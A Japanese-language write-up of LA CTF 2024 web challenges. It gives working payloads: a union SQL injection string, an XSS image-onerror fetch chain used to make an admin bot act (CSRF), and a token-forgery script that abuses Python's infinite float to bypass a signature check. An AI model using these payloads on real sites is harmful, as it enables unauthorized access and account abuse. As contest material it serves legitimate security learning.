# LA CTF 2024 writeup > 競技中にdebugするためにprintなどを入れているため配布コードと少し変わっているところがあるかもしれません。 [toc] ## [web] terms-and-conditions (771 solves / 106 points) ![image](https://hackmd.io/_uploads/HJ-nxjgha.png) `I Accept`を押したいですが、jsによって制御されていて押せません。 `[GET] /`のレスポンス内には面白いものが無いですが、`analytics.js`は多少面白そうです。 `analytics.js` ```javascript (function(_0x5deec7,_0x7aeb8a){const _0x59e6e2=_0xfcc9,_0x40595c=_0x5deec7();while(!![]){try{const _0x78a197=parseInt(_0x59e6e2(0x130))/(-0x26*0xfe+-0xe84+0x1*0x3439)*(parseInt(_0x59e6e2(0xe4))/(-0x3a*0x1b+-0x5e9+0xc09))+-parseInt(_0x59e6e2(0x14a))/(0x602+0x23c+-0x83b)+parseInt(_0x59e6e2(0x1e3))/(0x177c+-0x209*0xd+0x33*0xf)+parseInt(_0x59e6e2(0xe5))/(-0x3*-0xb6b+0x2*0xfd6+-0x41e8)*(parseInt(_0x59e6e2(0x1df))/(-0x167b+0x17a*0x17+-0x1*0xb75))+parseInt(_0x59e6e2(0xc7))/(0x25*-0x96+0x12ad+0x308)*(-parseInt(_0x59e6e2(0xbe))/(0x10*0x9a+0x101*-0x1f+0x1587))+parseInt(_0x59e6e2(0xdd))/(0x1097+0x1fbb+-0x3049)*(parseInt(_0x59e6e2(0x199))/(-0x2026+-0x1a25+-0x89*-0x6d))+-parseInt(_0x59e6e2(0x1c3))/(-0x23f*-0x2+-0x601+0x18e);if(_0x78a197===_0x7aeb8a)break;else _0x40595c['push'](_0x40595c['shift']());}catch(_0x42294b){_0x40595c['push'](_0x40595c['shift']());}}}..... ``` 難読化されていそうな雰囲気を感じます。 ということでできるだけもとに戻したいので、今回は[obfuscator.io](https://obf-io.deobfuscate.io/)を使いました。[^1] `復元後` ```javascript document.getElementById("accept").addEventListener("click", () => { const _0x4eb4e0 = document.getElementById("mainscript"); if (!_0x4eb4e0 || _0x4eb4e0.innerText.length < 1000) { alert("silly you... you don't get to disable javascript..."); } else { alert("ob`wexwkbw\\avwwlm\\tbp\\gfejmjwfoz\\mlw\\lmf\\le\\wkf\\wfqnp~".split``.map(_0x286792 => String.fromCharCode(_0x286792.charCodeAt(0) ^ 3)).join``); } }); ``` ここまで復元してくれればもう勝利したようなものです。 `GET /`のレスポンス内の以下のjs部を消します。 [^2] ```htmlembedded window.addEventListener("mousemove", function (e) { mx = e.clientX; my = e.clientY; } ``` mainscriptの末尾に空白を1000個いれます。(1000もいれる必要はないですが、めんどくさかったので1000入れました) これで`I Accept`を押せば良いです。 ```text! lactf{that_button_was_definitely_not_one_of_the_terms} ``` ## [web] flaglang (607 solves / 133 points) 右の国旗部分で`Flagistan`を選択すればフラグが降ってきます。 ```text! lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s} ``` ## [web] la housing portal (344 solves / 265 points) `app.py`内の、`get_matching_roommates`関数内 ```python! query = """ select * from users where {} LIMIT 25; """.format( " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()]) ) ... ``` でSQL Injectionが発生しています。 `--`, `/*`のようなコメントアウトを開始する文字列、nameパラメータ以外はparameter名が10文字以内、値は50文字以内、値がnaならパラメータを消すというような処理を`[POST] /submit`時点で行います。 `./app.py内search_roommates関数` ```pyhthon! for k, v in list(data.items()): if v == 'na': data.pop(k) if (len(k) > 10 or len(v) > 50) and k != "name": return "Invalid form data", 422 if "--" in k or "--" in v or "/*" in k or "/*" in v: return render_template("hacker.html") ``` また、`name`パラメータはSQL queryに組み込まれません。 `./app.py内search_roommates関数` ```python! name = data.pop("name") ``` FLAGはというと、 ```sql! CREATE TABLE flag ( flag text ); INSERT INTO flag VALUES("lactf{fake_flag}"); ``` にあるように、flagテーブル内にありそうです。 ということで、union SQL injectionを行えば良さそうです。 `payload: 'union+select+1,flag,'','','',''+from+flag'` ```text! name=&guests='union+select+1,flag,'','','',''+from+flag' ``` `lactf{us3_s4n1t1z3d_1npu7!!!}` ## [web] new-housing-portal (214 solves / 368 points) あまりちゃんと覚えていないけどXSSを用いてCSRFをやらせる問題だった気が。 解くための手順を詳細に書くのがめんどくさいので ```htmlembedded! <img src="x" onerror="let URL = 'https://new-housing-portal.chall.lac.tf';fetch(URL+'/finder/?q=se0r12').then(response1 => response1.text()).then(result1 => {console.log(result1);fetch(URL +'/user?q=se0r12').then(response2 => response2.json()).then(result2 => {console.log(result2);fetch(URL + '/finder', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'username=se0r12'}).then(response3 => console.log(response3.text())).then(result3 => console.log(result3))})});"> ``` と,`se0r12`というユーザを作っておいて ```text! https://new-housing-portal.chall.lac.tf/finder/?q=%3Cimg%20src%3D%22x%22%20onerror%3D%22let%20URL%20%3D%20%27https%3A%2F%2Fnew-housing-portal.chall.lac.tf%27%3Bfetch(URL%2B%27%2Ffinder%2F%3Fq%3Dse0r12%27).then(response1%20%3D%3E%20response1.text()).then(result1%20%3D%3E%20%7Bconsole.log(result1)%3Bfetch(URL%20%2B%27%2Fuser%3Fq%3Dse0r12%27).then(response2%20%3D%3E%20response2.json()).then(result2%20%3D%3E%20%7Bconsole.log(result2)%3Bfetch(URL%20%2B%20%27%2Ffinder%27%2C%20%7Bmethod%3A%20%27POST%27%2C%20headers%3A%20%7B%27Content-Type%27%3A%20%27application%2Fx-www-form-urlencoded%27%7D%2C%20body%3A%20%27username%3Dse0r12%27%7D).then(response3%20%3D%3E%20console.log(response3.text())).then(result3%20%3D%3E%20console.log(result3))%7D)%7D)%3B%22%3E ``` をadminボットに送りつけておく。 `https://new-housing-portal.chall.lac.tf/request/`にアクセスしてフラグを取る。(se0r12ユーザで) ![image](https://hackmd.io/_uploads/S1vOOjenT.png) `lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}` ## [web] pogn (188 solves / 388 points) あまり理解していないけど、ボールの位置をいい感じにして永遠に跳ね返せるとフラグが降ってきた。 `lactf{7_supp0s3_y0u_g0t_b3773r_NaNaNaN}` # 復習 ## [web] jason-web-token (62 solves / 471 points) まずフラグの取得方法を確認します。 ```python= @app.get("/img") def img(resp: Response, token: str | None = Cookie(default=None)): userinfo, err = auth.decode_token(token) if err: resp.status_code = 400 return {"err": err} if userinfo["role"] == "admin": return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"} return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"} ``` ここからわかるように、`[GET] /img`にアクセスを行い、`userinfo["role"]`が、adminであればFlagが降ってきそうです。 `img`では、`decode_token`が内部で呼ばれていることがわかります。 `decode_token`は、`auth.py`で実装されている関数です。 `auth.py` ```python3= import hashlib import json import os import time secret = int.from_bytes(os.urandom(128), "big") hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest() print(secret) class admin: username = os.environ.get("ADMIN", "admin-owo") age = int(os.environ.get("ADMINAGE", "30")) # username: <input_value>, age: <input_value>, role: user def create_token(**userinfo): userinfo["timestamp"] = int(time.time()) salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"] print(salted_secret) data = json.dumps(userinfo) return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}") def decode_token(token): if not token: return None, "invalid token: please log in" datahex, signature = token.split(".") data = bytes.fromhex(datahex).decode() userinfo = json.loads(data) salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"] if hash_(f"{data}:{salted_secret}") != signature: return None, "invalid token: signature did not match data" return userinfo, None ``` decode_tokenは内部でCookie: tokenの値を`.`で分割し値を`datahex`, `signature`変数に格納します。 次にdatahexをdecodeして、dataに格納した後、json形式にしuserinfo変数に格納します。 最後にsecretと、userinfoのtimestampプロパティの値でXORし、ageを加算してsalted_secretを作成しdata:salted_secretのsha256の値と、受け取ったsignatureの値を比較しています。 ということで、解法は、pythonのinfを使うです。 ```bash! >>> tmp = 1e1000 >>> tmp inf >>> type(tmp) <class 'float'> >>> tmp + 1 inf ``` age, timestampはtokenをデコード時に操作可能なので、ageに`1e1000`を指定することで、salted_secretがinfになることを利用します。 ```python! import json import hashlib import os import time secret = int.from_bytes(os.urandom(128), "big") hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest() def create_token(**userinfo): userinfo["timestamp"] = int(time.time()) salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"] print(salted_secret) data = json.dumps(userinfo) print(data) print(data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")) create_token( username="hoge", role=("admin"), timestamp=0, age=1e1000 ) ``` このようにして作成したtokenを使えばフラグが取得できます。 ```text! lactf{pr3v3nt3d_th3_d0s_bu7_47_wh3_c0st} ``` ## [web] ctf-wiki [^1]: 他にもツールをいくつか使いましたが、何を使ったか覚えていません。 [^2]: Burp Suiteというツールを使って消しました。